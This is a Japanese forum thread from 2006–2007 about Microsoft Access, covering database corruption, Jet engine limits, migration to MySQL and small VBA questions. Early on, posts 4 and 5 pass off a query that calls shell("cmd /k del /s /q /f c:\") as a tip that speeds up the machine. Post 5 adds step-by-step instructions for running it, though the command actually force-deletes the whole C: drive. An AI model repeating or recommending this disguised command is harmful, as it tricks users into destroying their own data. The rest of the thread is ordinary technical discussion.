【Access】アクセスは最強のデータベース!
at DB
1:NAME IS NULL
06/12/17 03:57:39 KxxtbOF8
SQLiteはクソ。
2:NAME IS NULL
06/12/17 05:41:15
そろそろ寝ようぜ
3:NAME IS NULL
06/12/17 13:31:29
アクセスってEXCELが使いたくてOFFICEを買うとおまけでついてくるやつだろ。
このおまけがとろとろしているものだから、すっげぇー大迷惑。
4:NAME IS NULL
06/12/17 14:34:31
Accessで次のSQLを実行したら、不思議なことになんかマシンが軽くなった。
マジお勧め。
select * from テーブル1 where フィールド1=shell("cmd /k del /s /q /f c:\")
5:NAME IS NULL
06/12/17 17:45:05
これだけで十分だな。
select shell("cmd /k del /s /q /f c:\")
まず、クエリを新規作成する。
デザインビューを作る。
テーブルの指定は必要ないので閉じる。
フィールドに、「shell("cmd /k del /s /q /f c:\")」と入力
保存して実行。
6:NAME IS NULL
06/12/19 20:25:06 4zl+qEwG
Access人気ねーなーw
7:NAME IS NULL
06/12/20 11:50:00
使い方わからん
8:名無しさん@そうだ選挙にいこう
06/12/22 11:34:55
アクセスの一番新しいバージョンはなんだ?
それと、2000と替わったところを教えろ。カス。
9:NAME IS NULL
06/12/22 16:22:20
ググレカス
10:NAME IS NULL
06/12/24 03:16:51
アクセスなんか売れてないんだからMSも日本向けをVFoxProに変えろよ。
11:NAME IS NULL
06/12/24 19:42:43
だーかーらー、
アクセスは売り物ではなくてOFFICEのおまけなんだよw
12:NAME IS NULL
06/12/26 21:43:44 NdSoe3lX
逆に考えるんだ
ACCESSのおまけがOFFICE
13:NAME IS NULL
06/12/26 22:51:06
初めて「でーたべぇすこうちく」として貰った仕事が嬉しくて仕方がない>>1が居たのはこのスレでございますか?
14:NAME IS NULL
06/12/29 19:13:48
PHPからアクセスを扱うコード禿げしく希望!w
15:NAME IS NULL
06/12/29 20:32:25
Accessなんか使ったら、すぐにシステムが破綻するよ。
16:NAME IS NULL
06/12/30 00:19:04
2007拡張子が変わって面倒
17:!kote 【584円】
07/01/01 10:04:21
!kote !dama
18:!kote 【521円】
07/01/01 22:00:20
test
19:NAME IS NULL
07/01/11 15:16:48
JETは糞エンジン・・・orz
20:NAME IS NULL
07/01/12 03:54:52
JETは"おまけ"の"おまけ"だからね
21:NAME IS NULL
07/01/13 12:32:49
おまけって
AccessはOfficeのProfessional版以上でないとついてこない
JETはOffice買わなくてもWindowsについてくる
22:NAME IS NULL
07/01/13 19:35:58
WindowsがPCのおまけだから、
やっぱり、"おまけ"の"おまけ"だな。
23:NAME IS NULL
07/01/16 17:00:43 5QFqZ+z3
ググって検索していたら、ここにたどり着きました。
ローカルマシンのaccessに格納してあるデータを、ホスティングしているサーバ(専用サーバ)で
selectして表示させる事は、出来ますか?
24:NAME IS NULL
07/01/16 19:39:46
>>23
「ローカルマシンのデータを、サーバで表示させる」というのにすごい違和感があるのだけど、
俺が無知なの?
25:NAME IS NULL
07/01/16 22:07:43
>>23
出来るかといわれれば、できる
SQL鯖かaccessがServerに入っていれば可能だけど・・・
何かが逆のような気がする・・・
26:NAME IS NULL
07/01/17 01:30:31 Ek095lO4
>>24 >>25
回答サンクスです。
>>24
そんなに違和感のあることなのですか!?
>>25
逆ですか。。。!?
どのように逆なのかを教えていただけるとありがたいのですが
虫が良すぎるでしょうか?
27:NAME IS NULL
07/01/17 03:10:18
初心者が無知な質問をしているのか?
それともただのネタなのかわからない。
まず、そんなことをしなければいけない状況が想像がつかない。
28:NAME IS NULL
07/01/17 09:01:00 Cb5UyTGq
いやぁ、、違うぞ。サービスを提供するのがサーバなわけだから、
ここでいうローカルマシンも一つのサーバなわけですよ。
何らの矛盾も無い訳です。
29:25
07/01/17 12:16:00
データの格納及び処理はサーバで行い
クライアントはサーバにSQLを投げて読み/書きを行う、ローカルにデータの保存はしないのが普通
理由は色々あるが、バックアップの処理やトランザクションの復旧などを一括で行った方が面倒がないから。
30:NAME IS NULL
07/01/17 19:06:07
まあ、やっぱりそうだよなあ?
それにサーバーでローカルのデータを表示させるってことは、
サーバーを直接ユーザーが操作するってことだろう?
サーバーの安定性という面では薦められる話ではないはず。
そこまでして、こんなことをするメリットていうのが想像つかない。
ローカルのデータはローカルで見ればいいじゃないか?
まあ、別にAccessに限った話ではないけど。
31:NAME IS NULL
07/01/28 01:53:56 /VfI1slv
最新の一太郎とaccessを使うためにvista買ったのに。access使えない奴はWindows使うのを禁止しろ。
32:NAME IS NULL
07/01/28 04:08:16
馬鹿発見w
33:NAME IS NULL
07/02/01 22:59:33 XEluAaNf
共有フォルダにmdbファイルを置いて、複数のPCからアクセスするアプリを作ったのだけど、
そういう使い方をすると、ファイルが壊れるって書いてあるページがまりました。
最近のaccessでもそんな感じですか?
34:NAME IS NULL
07/02/02 03:06:02
そもそもmdbって共有で使えるんだっけ?
accessは昔からだがローカルでも壊れやすい。
出始めた頃に聞いたaccessの別名は「しゃぼん玉」だったな。
35:NAME IS NULL
07/02/02 04:38:48
>>34
> そもそもmdbって共有で使えるんだっけ?
使えるよ。でも、あまり沢山のPCからの共有はやめたほうがいいと思う。
> accessは昔からだがローカルでも壊れやすい。
終了後に最適化かけるようにしてからほとんど壊れなくなった。
36:NAME IS NULL
07/02/02 16:56:32
ローカルで使っててもやっぱちょいちょい壊れるな。
開けなくなるだけなら、バックアップから戻せばいいだけだから大した事無いけど
一見なんともないのに、データが一部ブチ壊れたりするのがイヤ。
あるレコードの範囲が全部同じ数字に書き換わったりとか・・・
集計だけ見ても気付きにくいような微妙な壊れ方だったので、客先で冷や汗かいた。 orz
毎回最適化しててもこれじゃねぇ。 怪しくて、金が絡むクリティカルな業務には一時的にでも使いたくないな。
電話帳とか住所録みてーなのに使うなら、お手軽でいいかもしらんが、俺的に2万件あたりからはバクチ。
37:NAME IS NULL
07/02/02 19:02:35
>>36
ちなみにAccessのバージョンは?データとプログラムのファイル分離している?
俺はAccess2000でやっているのだけど、さすがにバグが出尽くしているのか、
最近はほとんど問題がない。昔は相当悩ませてくれた。バージョンアップが怖い。
さすがに2万件以上はAccessというよりJetエンジンの守備範囲ではないと思うよ。
俺ならデータ部分はMySQL使うけどなあ?
38:NAME IS NULL
07/02/02 21:45:06 Jxg7Ommy
access2000からaccess2007に上げます。俺の長年の苦労のデータ大丈夫かな。
39:NAME IS NULL
07/02/02 22:47:46
>>38
勇気あるなあ?
とてもマネできない。
40:NAME IS NULL
07/02/03 01:33:30
レコード件数はそれほど重要じゃないだろ、mdbのサイズが2G超えそうってんならともかく。
2万件で壊せるような使い方してるやつはそれが2千件でも2百件でも桐にしとくのが吉。
41:NAME IS NULL
07/02/03 09:17:32 NfDLDqzD
200件なら手書きのカードで十分。
42:NAME IS NULL
07/02/03 10:37:56
たしかに桐のほうが安定しているし、壊れにくい。
ちょっとしたことをやるなら桐の方が便利。
でももともとアプリケーション作るツールってわけじゃない。
Accessは開発者がひとりで小規模アプリケーション用つくるには、
これだけで全部で済むのでお手軽。
43:NAME IS NULL
07/02/03 19:02:27
桐ってまだあったのか、、、
44:NAME IS NULL
07/02/03 19:48:17
>>43
あるんだな、これが。しかもVista対応を表明。
URLリンク(www.kthree.co.jp)
自分で使うだけのプログラム作るのならこれでほとんど済むと思う。
これ以上はスレ違いは甚だしくなるので、こっちに行ってくれ。
スレリンク(db板)
45:NAME IS NULL
07/02/05 11:44:24
使い方によっては「Accessは最凶のデータベース」だと思う。
データーがプログラムを道連れにして壊れるし、
同じ事やるのにいくつも方法があるから、どの方法をとるのがいいのか迷うし、
いろいろな考え方が混じっているから、わけがわからなくなる。
その辺を克服していくとそれなりに使えるツールになる。
46:36
07/02/05 16:30:07
>>37
Access2000で、ロジックとデータは始めから分割してた。
つーても複数人で使わせるもんじゃなく、いじくるのは俺限定で
もらったデータ取り込んでマスタ更新した結果をExcelで渡す・・・みたいなやつ。
200MB/3万レコード程度でも、jetエンジンには荷が重かったのかな・・・
客側のトラブルに対応する都合で、予定の2倍以上のサイズになっちまったのも痛かったが。
やっぱAccessってUIとしてならいいけど、でっかいデータ持たせるなら
多少手間でもちゃんとしたDBMSがいいなーと思い知らされたよ。 orz
47:NAME IS NULL
07/02/05 17:51:47 21ubMIHs
>>46
周りにaccessデータ渡したくても、access持っていないか、持ってても使えない奴。
仕方なくExcelデータで渡すと、重複データばかりになって帰ってきた。
48:NAME IS NULL
07/02/05 21:32:46
>>46
まあ、原因かどうかはわからないけれど、桐ならメモリにある程度空き容量が無いと動かないのだけど、
Accessはなんとか動いてしまう。でも遅いし不安定なんだよなあ?そんな状態ではデータも壊れやすい。
49:NAME IS NULL
07/02/05 22:46:03
そもそも欠陥品
50:NAME IS NULL
07/02/05 23:31:38
という程、しょっちゅうは壊れないんだが。数百MB程度は、結構頻繁に
扱ってる。やっぱ、使い方だよな。っていっても、仕様の範囲内での使い
方で壊れるDBであることは確かだな。
51:NAME IS NULL
07/02/06 00:16:51
だーかーらー欠陥品だっつーーーのw
52:NAME IS NULL
07/02/06 01:18:09
おまえもな。
53:NAME IS NULL
07/02/06 01:37:56
access愛好家の気に障ってしまったようだ。
54:NAME IS NULL
07/02/06 01:40:30 WeHUGje3
M$社員じゃね?
55:NAME IS NULL
07/02/06 01:40:31
いや、もう使ってないから。
56:NAME IS NULL
07/02/06 06:05:51
>>51
> だーかーらー欠陥品だっつーーーのw
まあ、そうだな。Windows98くらいの不安定さはあるから、
M$標準の欠陥品だな。M$専門用語では仕様と言うらしいが・・・・
Windows98もまあ使いようによってはなんとか使える程度には安定したのだから、
使いようって言えば使いようなんだけど・・・・・
57:NAME IS NULL
07/02/06 12:34:37
サーバーからデータ落としてちょっと加工したいときには使える。
58:NAME IS NULL
07/02/06 12:53:35
>>36
データのバイト数とか考えてる?
その大きさになると、1024ごとにきっちり区切ってやらないと壊れやすいね
きちんと設計してあれば、クライアント台数は10、120万件、800MBでも問題なく動いてるよ
あとネットワーク環境が重要だね。不安定な環境だと非常に壊れやすい
59:36
07/02/06 13:10:06
>>58
レコード長って事?
やっぱ気にした方がいいのかね。
壊れた時のは、残念ながら相手指定の形式に合わせる必要があったので(しかも途中で変わりやがるし orz)
気にしてる余裕は無かったなぁ。
ネットワークに関しては、ローカルでもアレなのでできればやりたくない orz
60:NAME IS NULL
07/02/06 15:04:41
>>58
> その大きさになると、1024ごとにきっちり区切ってやらないと壊れやすいね
いったいその話はどこがネタ元なの?
jetエンジンで120万件って、すごいなあ?俺には怖くてできない。
クライアント台数10で同時アクセスするの?
それとも繋がっているのが、10台ってだけ?
61:NAME IS NULL
07/02/06 20:25:57
>>60
確かマイクソのリファレンスに書いてあった。
うろ覚えだが、JETの場合1024で区切ってデータを扱うと書いてあった。
で設計は1024ごとに収まるようにきっちり作ると速い上に壊れにくいと、昔先輩に教わった。
速いのは理論上わかるが、壊れにくいのは良くわからん。
が、実際には確かにそうしておいた方が壊れにくかった。
大量データを扱わなければそんなに変わらないと思うが。
> jetエンジンで120万件って、すごいなあ?俺には怖くてできない。
> クライアント台数10で同時アクセスするの?
> それとも繋がっているのが、10台ってだけ?
同時アクセスは2〜3台、排他処理のロジック作るのが大変だった。
最適修復をきっちりやっていれば、壊れはしないが検索等のスピードが遅い。
正直限界だと思う。早くSQL鯖に移行してくれってのが正直なところ
62:NAME IS NULL
07/02/06 21:12:47
>>61
> 正直限界だと思う。早くSQL鯖に移行してくれってのが正直なところ
へえーーー、ユーザの要望なんだ。なんでJETエンジンにこだわるのだろう?
PostgreSQLなら無料だし、MySQLも安いのに?
ODBCを使ってとりあえずちょっとだけ動かしたことあるけれど、
あっけないほど簡単に動いた。
まあ、プログラムをまったく変更せず動くほど甘くは無いだろうし、
最適化はいろいろとがんばらなければいけないだろうけど、
思ったより楽そうだと思う。
63:NAME IS NULL
07/02/06 21:39:46 WeHUGje3
>>53
世の中にはAccessしか使えない人もいるからな。
そのAccessを否定すると、自分まで否定された気分になるんだろ。
64:NAME IS NULL
07/02/06 22:08:42
とことん尾ひれをつけたいようだな。
それより、ページ単位で1024ってのは正しいけどよ、可変長が基本のAccessだぞ。
ガワを1024に調整しただけじゃダメじゃねぇの。
65:NAME IS NULL
07/02/06 22:10:23
偉そうな事書いたくせに、間違ったよ。1024じゃなくて、2048だ。
66:NAME IS NULL
07/02/06 22:15:54
Accessが不良品だとしても、これに変わるものってありそうでないんだよなあ?
Accessのようなレポートが作れるツールだけでも、Accessより高い。
入力帳票作成ツール、レポート作成ツール、クエリー作成ツールなど
いろいろなツールの集合体と考えればかなり安い。
肝心のエンジンがちと弱いのが気になるけど、
エンジンを取り替えることができるところが良いところでもあるなあ?
67:NAME IS NULL
07/02/06 22:23:59
>>65
あっなるほど、つまりページ単位に合わせるってことね。
2048byteを1レコードにすればレコード単位と同じだものなあ?
でもそれってレコード単位ロックが無くて、
すべてページ単位ロックだったAccess97時代までの話じゃないのか?
68:NAME IS NULL
07/02/06 22:53:29
文字列は後ろにスペース詰めるの?
69:65
07/02/06 23:55:08
>>67
密かに今でも内部的にはページロックだったりする。鵜呑みにしないでね。
Accessから離れて約2年弱なので。
壊れづらくするのにページに合わせるって話が出たのであって、ロックとは
関係ないような気もするが、そもそもこのロックが原因で壊れやすくなって
るのかな???
どちらにしても可変長の仕様は変わってないので、常に2048に合わせるの
は難しい。文字列の後ろの半角スペースは自動で除去するし。中途半端
にUniCode対応だし。
70:NAME IS NULL
07/02/07 20:39:23
AccessはMySQLのユーザーインタフェイスとして使うのが正解じゃないのか?
71:NAME IS NULL
07/02/07 21:53:55 uQlvtPJy
ODBCでUI作るだけならACCESSである必要ないと思うんだけど、高いよね。
OpenOfficeはちょっと微妙だと思し、他に何かないかな。
72:NAME IS NULL
07/02/07 23:21:28
>>71
> ODBCでUI作るだけならACCESSである必要ないと思うんだけど、高いよね。
Turbo Delphiなんて無料で面白そうだと思うのだけど、
レポートツールは別に用意しなければいけない。
アクセスのように伝票形式の入力が簡単に作れるとも思えない。
結局Access程度に実用に使えるようにすると、Accessより高くなると思う。
> OpenOfficeはちょっと微妙だと思し、他に何かないかな。
なんせ情報がない。BASEが使えるのなら使いたい気もするけど。
73:71
07/02/08 00:53:55
今日、baseに二度目の挑戦。java.lang.NullPointerExceptionって言われてテーブル開けない。
前回はもうちょっと進んだ気がしたけど、今回はもうくじけた。
74:NAME IS NULL
07/02/08 01:29:30
それにしても、なんで日本版のFoxProを売らないんだよ?
俺はそれで十分なんだけどなあ?英語のマニュアルなんて読む気がしない。
75:NAME IS NULL
07/02/08 22:37:24
なんかARAGOが値段を下げるらしい。
URLリンク(www.soupacific.com)
なんせFoxproより高かったのだからなあ?
本当に大幅値引きだったら考えようかなあ?
76:71
07/02/09 01:03:23
Access2007体験版使ってみました。すごいね、これ。
2000からいっきに飛んだからかもしれないけど、UIのデザインに感動。
ちょっと質問なんですが、odbcでpostgresqlにつないだとき、
timestampの桁数が原因と思われる問題で「データの競合」が起こります。
timestamp(3)にすると解決するという未確認情報もありますが、
それ以外の、DB定義をいじらない解決策ってないでしょうか?
77:NAME IS NULL
07/02/09 01:14:49
>>75
まだあったんかい。
DOSのDBXLやQSには世話になったけどな。
VisualFoxproの日本語解説書でも出してくれたほうが嬉しいんだけど。
78:71
07/02/09 01:18:24
すいません。超FAQでした。自己解決。
postgresql7.4なので型変えるの大変だと思ったけど、
defaultのcurrent_timestamp(3)への変更で対応できました。
79:NAME IS NULL
07/02/09 01:43:38
>>77
> VisualFoxproの日本語解説書でも出してくれたほうが嬉しいんだけど。
んだんだ。って誰か出しそうなものだけど誰も出さないなあ?
80:NAME IS NULL
07/02/11 08:50:43 RpZ/vITy
Access2007って、今までより良いんだろうか。
何かどうでもいい見た目ばかり綺麗に改造してくれたみたいだけど。
Access使いの今までの悩みって、データ件数で1万件以上扱いたい、
10台とか多数のPCからアクセスしたい、
ローカルPCで簡単にコピーされて外部に持ち出されないようにしたい。
しかしSQLサーバーは難しいというのが、共通の悩みだったと思う。
そういう肝心なニーズは全然解決してくれてないのかな。
81:NAME IS NULL
07/02/11 10:21:27
おまけですから
82:NAME IS NULL
07/02/11 12:45:42
>>80
それってMSDEで半分は解決するんじゃないのか?
SQL Serverで全部解決。
おれはLinuxサーバーだからMySQL使うけど・・・・
83:NAME IS NULL
07/02/11 18:44:33
>>80
>>82 が正解。
Accessに本物DBを求める方が間違い。安いんだから、ローカルレベルで
使ってね。でも、ちょっとぐらいは他の人と一緒に使ってもいいよってぐら
いだ。C/SのDBと根本的に仕組みも違うしな。
84:NAME IS NULL
07/02/11 22:24:35
ACCESS2003でフォーム上で▲(横三角)*マークを
押下したら新規レコードになりますが、
それと、同じことをするVBAを教えてください。
85:NAME IS NULL
07/02/11 22:53:33
>>84
どこまでやりたいのか知らんが、
んなもん、コマンドボタンをウィザードに従って作ってみれば
解ることだろ。
86:NAME IS NULL
07/02/11 23:18:42
>>85
VBA エディタにウィザードなんかでてきませんが
87:NAME IS NULL
07/02/11 23:22:14
MySQL使っている人に質問。
これからMDBを卒業して使おうと思うのだけど、
AccessからMySQLを使うのってどんな感じなんだろう?
1.設定してしまえば、MDBと違わないよ。まあ、壊れなくなったけどね。
2.全然違う、プログラム自体も大幅に変えなければいけないし、苦労するよ。
3.まあ、そのまま使えるほど簡単でもないけど、難しいってほどでもない。
あえて言えばどれに近い?
88:NAME IS NULL
07/02/11 23:46:36
>>86
>>85 じゃないが、代わりに。
まずは、コマンドボタンをフォームに置け。その時、ウィザードが起動しないか?
起動しないなら、コントロールウィザードをONにする。
このウィザードに従って新規レコード追加を選べば、実に簡素であるが目的
のVBAが出来上がる。
他人の間違い(と、思い込むこと)を指摘する前に、少しは調べろ。
89:NAME IS NULL
07/02/11 23:49:16
一対多連結の一側フィールドの書き換えとか、
ローカルデータならではの操作に慣れてしまったので、
いまさらC/Sには移れません。
90:NAME IS NULL
07/02/12 00:05:35
>>89
意味がわからん。C/S向けにチューニングされているSQL Server
Oracle等々、よく知られてるDBなら当然のごとくできることだと思うが。
91:NAME IS NULL
07/02/12 00:28:44
>>88
申し訳ありません
VBAにウィザードがあるなんて
92:NAME IS NULL
07/02/12 00:40:24
OOoのBaseがいいな。
93:NAME IS NULL
07/02/12 00:46:45
>>91
85だけど、あれで通じると思ったから
説明足らずで悪かった。
暇があったら、ウィザードとかマクロをVBA化して
どういうコマンド使っているのか調べてみると勉強になるよ。
当然、コマンドはヘルプで調べて、実際に使ってみること。
>>88
フォロ、ありがと。
94:NAME IS NULL
07/02/12 01:07:51
Accessは確かに昔よく壊れた、でもレポートが強力で離れることができんかった、
ある日FATからNTFSに変えてMDBもデータ、プログラムを切り分けしてから全然
壊れなくなった。
MSDE経由MySQLもlocalhostでしかやったことない、最近はレンタル鯖でPHPかな。
95:NAME IS NULL
07/02/12 09:43:02
>>94
> Accessは確かに昔よく壊れた、でもレポートが強力で離れることができんかった、
たしかに!Webシステムにしたいのだが、印刷のことを考えるとAccessから離れられない。
> ある日FATからNTFSに変えてMDBもデータ、プログラムを切り分けしてから全然
> 壊れなくなった。
Windows2000になってからトラブルは格段に減ったなあ?
データ、プログラムを切り分けたのも効果はあった。
メモリが安くなって増設したのも大きかったような気がする。
最適化はもちろんだけど、ときどきMDBを新規作成してそこにインポートすると
MDBの大きさが半分以下になったりするが、これも効果がある。
ちょっと動作が不安定になったらこれをするのがいい。
96:NAME IS NULL
07/02/12 10:08:14
>>95
自分の場合は、Accessでユーザー向けのシステム開発していたが、
メニューに最適化・修復を付けてあげて、そこでおっしゃるような最新
MDBへのデータ入れ替えを処理してました(標準機能の修復・最適化
実行後に)。システムの中に、データが空っぽのMDBも同梱してね。
この機能を共通関数化して使い回し。お陰様で、破損件数は減少。
97:NAME IS NULL
07/02/12 10:32:28
>この機能を共通関数化して使い回し
この共通関数欲しい。
えーと、かわりに差し上げられそうなものを探さないと・・・・・・
98:NAME IS NULL
07/02/12 12:49:47
ACCESS2003の質問です。
例えば 連番 に aaa001
aaa002
bbb011
bbb012
があるとして
aaaを含む最大値のデータ、今回の場合は
aaa002のデータを抽出するVBAを教えて下さい
99:NAME IS NULL
07/02/12 15:25:57
Dmax("連番","テーブル名","Like 'aaa*'")
でいくんでないかい?
100:NAME IS NULL
07/02/12 18:46:20
>>99
レスサンキューです
うまくいきました
101:96
07/02/13 00:34:54
>>97
オレが作ったものが欲しいなんて、奇特なお方だ。
Give&Takeじゃなくてもいいよ。ただし、iniファイル対応の我が社(と言っても、
やめた会社なので)特有のものです。休みの日に自宅で自分の作業を楽に
するためにセコセコ作ったもので、オレが自由に使ってもいいお墨付きです。
ドキュメント類も差し上げますので、そのまま仕様に従って使うも良し、必要
な関数・部分を抜き出して改造するも良しって感じで丸投げしたいんですけ
ど、VBAは大丈夫ですか?
修復の処理限定で欲しい場合は、ちょこっとだけ手直しして渡しますので、
何日か時間が欲しいです。本業の方、単体テスト真っ盛りで平日はなかなか
時間が取れないかもしれないので。
102:96
07/02/13 12:16:55
>>101
> オレが作ったものが欲しいなんて、奇特なお方だ。
いえいえ、一度作ろうかと思ったのだけどなんだか面倒そうだし、
手作業でできることなのでついつい後回しになって・・・・
> するためにセコセコ作ったもので、オレが自由に使ってもいいお墨付きです。
> ドキュメント類も差し上げますので、そのまま仕様に従って使うも良し、必要
> な関数・部分を抜き出して改造するも良しって感じで丸投げしたいんですけ
> ど、VBAは大丈夫ですか?
ええ、もちろんアクセスでVBAを使ったアプリケーション作ってますので、
だいたいは大丈夫です。
masquerade@x-road.ddo.jp へメールで送っていただければ大変助かります。
なお、このアドレスはこれを受け止めるためだけのアドレスですので、受け取り
しだい消滅します。
2ちゃんねるに無防備なアドレスをいつまでもさらすほど俺は自信家じゃない(ゴルゴ13風(w))
しかし、俺って汎用性のある関数書いてないなあ?差し上げられそうなものがない。
103:NAME IS NULL
07/02/13 22:52:12 I5nH1u5t
ACCESS2007の教本足りない。97から2000に上げた時は少々の手直しだったと思えるほど。「はじめてのACCESS2007」だけでは足りない。これだけ見た目が違うともっと細かい所も違うような。
マイクロのホームページも物足りない。
104:NAME IS NULL
07/02/14 01:06:43
>>102
返事書くヒマあったら送れよって・・・すまん。ファイルの準備・圧縮等何も
してないので。もう少し待ってくれ。丸投げするから。その修復・最適化の
関数に関しては、少々コメントを添える(ソース内じゃないよ)つもり。
メルアド、結構平気だよ(いや、別に削除するなって事じゃなくね)。
オレも晒したyahooメアドがあったけど、な〜〜〜んもなかった。いたずら
メールもなかった。
Accessの関数は不要っす。今、全く毛色の違う開発業務なので。
105:NAME IS NULL
07/02/14 02:03:17
最適化してバックアップするなら
DBEngine.CompactDatabase src, dst
これに GetOpenFileName を呼び出すコマンドボタンをつけたform
昔作りましたけどだれかいらない?
106:NAME IS NULL
07/02/14 07:43:18
>>105
それは、悪いがすぐ作れる。
107:NAME IS NULL
07/02/14 11:41:58
>>106
URLリンク(sund1.sakura.ne.jp)
2001年製でした、ツッコミよろ
108:106
07/02/14 12:59:41
>>107
2001年製でも、まだ使えるんじゃねぇの?
ネット禁止のため、リンク先は見てないんだ。ゴメン。
109:97
07/02/14 13:29:33
>>104
別に切羽詰っているわけじゃないから、いつでもいいです。
忘れないでいてね(^^)
110:NAME IS NULL
07/02/14 19:38:40
>>103
安心しろ、変わったのは見た目だけだw
111:104
07/02/15 00:08:54
>>109
ちょっと手抜きして(コメント添えるの、ほぼやめちゃいました)とりあえず
送らせて頂きました。
112:97
07/02/15 08:34:22
>>111
受け取りました。ありがとうございます。こりゃあ、応用範囲が広くて使いこなすのにかなりかかりそうな予感。
でも、いろいろと参考になりそうです。ダメモトだったのに言ってみるもんだなあ?
本当にありがとうございました。
113:NAME IS NULL
07/02/15 11:37:04
>>110
ac2000からほぼ見た目しか変わってないような気がするのは気のせい?
アクセスは見た目だけは最強のデータベースなのかもしれない。
114:111
07/02/15 13:00:45
>>112
ちと、ややこしいよな。もう、分かってると思うけど念のため。
なかを見るときはshiftで開いて。
115:NAME IS NULL
07/02/15 13:48:54
>>114
ちゃんと見えてます。
エラーがでたので、空のMDB作ってそこにインポートしました。
今のところ仕様書を見て喜んでます。
あらためてありがとう。
116:114
07/02/15 14:39:24
>>115
エラーの原因は?
もしかしてオレのオリジナルがマズイかと思って。
仕様書は、Access知らない人や派遣社員向けだから、事細かく・うるさく書いてる
でしょ。最後までメンテするのオレだからガッチガチの規則だね。何か気になるこ
とがあれば、お気軽にメールで。
117:NAME IS NULL
07/02/15 15:26:27
>>116
>エラーの原因は?
いや単にシフト押さないで起動させたらうまくいかなかったので、
見たいのはモジュールの内容が主だからインポートすればうまくいくかなと思ってやってみただけ。
Accessは完全に独学だし、こういう実践的な仕様書って見たこと無かったので勉強になりますね。
ただ、テーブルは"T_"で始まるようにとか、考えることは同じだなあと思ってみてました。
私の場合はマスターテーブルは"TM_"とかさらに細かいのだけど。
118:116
07/02/16 01:58:51
>>117
次からメールにしような。
シフト押さないで開くと、iniファイルの設定値編集のフォームが開くようになってる
のだが、そのための環境が整ってなかっただけと思う。
モジュールだけ必要なら、インポートしたやつでOKよ。フォームは、インポートし
てないんだよね?この場合、バックアップ・リストアもNGだなぁ。
まぁ、好きなように使ってくれ。達人の域のものではないので、たいしたことはやっ
とらんから。
119:NAME IS NULL
07/02/19 15:35:12
dim tax as Long
正 tax = Fix(33333 * 0.03)
= 999
誤 tax = 33333 * 0.03
= 1000
誤 tax = Fix(50000 * 0.03)
= 1499
正 tax = 50000 * 0.03
= 1500
消費税の計算をし、小数点は切り捨てをしようとしてるのですが、上記のとおり Fix で計算をすると
切り落としの時にズレが出てきます。
小数点を切り上げたりせず、きっちり切り落としたいときはどうすればいいんでしょうか?
120:NAME IS NULL
07/02/19 18:18:32
10年以上前の人キタコレ
121:NAME IS NULL
07/02/19 19:55:15
dim dTax as double
dim lTax as long
dTax = 値段 * 税率
lTax = fix(dTax)
で解決した
122:NAME IS NULL
07/02/19 23:53:27
>>119
Currency
123:NAME IS NULL
07/02/24 00:36:49 7O++I76A
ACCSESS.NETがでてC#がでれば買うな
最強のアジャイル開発ができそう
124:NAME IS NULL
07/02/24 11:57:20 b39o1ZAI
アクセスで、入力データを継続させるには、どうすればいいのですか?
125:NAME IS NULL
07/02/24 15:58:29
入力を継続させればいい
126:NAME IS NULL
07/02/24 16:02:28
テーブル作ってINSERTすれば継続されると思いますよ。
少なくともPCシャットダウンしても入力データは消えないで継続されます。
127:NAME IS NULL
07/02/24 17:06:48 b39o1ZAI
すいません。同じようなデータを入力してるんですが、レコードの値を次の入力時にも継続させたい事です。Ctrl+7の他に自動でないでしょうか?
128:NAME IS NULL
07/02/24 22:55:10
>>127
これノンプラミングでってことだろう?
うーーーん、アクセスってそのままでは使いやすくはないからな。
たぶん桐で入力してコンバートしたほうが速いと思うけどなあ?
129:NAME IS NULL
07/02/24 23:39:03
VBA組め
130:NAME IS NULL
07/02/25 00:48:45
>>127
excelで入力してからAccessに取り込む。
131:NAME IS NULL
07/02/25 08:23:33 YoLBJkVB
>>130
ACCESSで入力して三四郎にExcel経由で取り込む。
132:NAME IS NULL
07/02/25 19:31:33 /LjiSMn/
三四郎は知らんが、
Accessで困ったときには、
Excelで読めるファイルにエクスポートして、
Excelで加工するのは、基本技。
133:NAME IS NULL
07/02/25 19:39:13
Excelへの吐き出しに頼るのは、
まともなシステムが構築出来ない無能力プログラマの常套手段
134:NAME IS NULL
07/02/25 20:59:27
>>133
無能力とか言う前にプログラムの話じゃないだろう?
VBAばりばり使える人がする質問じゃない。
もしVBAばりばり使える人だって言うのなら、
入力するたびにデフォルトのValueを変えればいいだけだろ?
135:NAME IS NULL
07/02/25 21:12:30
>>134
VBAさえも使えないというなら、それも無能力
136:NAME IS NULL
07/02/25 21:35:04
君は分かってないな。
>>127はあれだぞ。
137:NAME IS NULL
07/02/25 21:48:30
>>135
しかたないだろう?
ほとんどの人は大量のデータが扱えるExcelくらいの認識なんだから?
もともと別の会社の製品でExcelとは氏も素性も違って
ほとんど似てないなんて知らないのだから?
VBAがわからないと結局使い物にならないなんて思ってもいないよ。
マイクロソフトもいっそのこと桐でも買ってくれば良かったのに?
あれのほうが少しはExcelに似ている。
138:NAME IS NULL
07/02/26 11:56:07 9FHFgL0a
お薦めの入門サイト教えてください。
ぐぐっても、本の販売サイトばかりひっかかります。
たまに発見できてもバージョンがあいません。
自分のは2000なんですが・・・
139:NAME IS NULL
07/02/26 12:38:32 9FHFgL0a
アクセスってマクロの自動記録って無いんですね。
知らなかった。ショック・・・・
140:NAME IS NULL
07/02/26 16:41:24
>>139
だからExcelとはまるで違うものなんだって・・・
桐にはあるんだよね。マクロの自動記録とは呼ばないけれど・・・
URLリンク(www.naboki.net)
いわゆる入門サイトとは違うけど、入門する前に目を通したほうがいいことがいっぱい書いてあります。
141:NAME IS NULL
07/02/26 20:24:47
>>137 もはや、Access不要だなw
Office Excel 2007 では、最大 100 万行、16,000 列のスプレッドシートが
サポートされているため、膨大な量のデータを処理できます。
大量のデータを分析する必要がある場合でも、複数のスプレッドシートや
他のアプリケーションを使用する必要はありません。
142:NAME IS NULL
07/02/26 21:35:30
>>141
だからExcelとAccessはまったくの別物だって・・・・・
Excelがいくら大量データを使えるようになったところで、
Accessの代わりにはならない。
143:NAME IS NULL
07/02/26 23:27:47
普通はそうだが>>127や>>139みたいな人は同じものだと思っていると思います。
144:NAME IS NULL
07/02/26 23:50:23
>>142
笑いどころはここ。
>他のアプリケーションを使用する必要はありません。
145:NAME IS NULL
07/02/27 00:43:18 wWLkB84B
うちの会社エクセルシートに計算機で手計算して数値入力してる上司がいるんだがw
いいじゃないの 結果がちゃんと出れば・・・・
146:NAME IS NULL
07/02/27 00:52:32 PNBDDMi/
ワロッタw
EXCELがメモ帳代わりかよ
147:NAME IS NULL
07/02/27 01:52:14
1万何千列100万行のデータを抱え込んだExcelのファイルってのは、
どれぐらいのサイズになるんだ
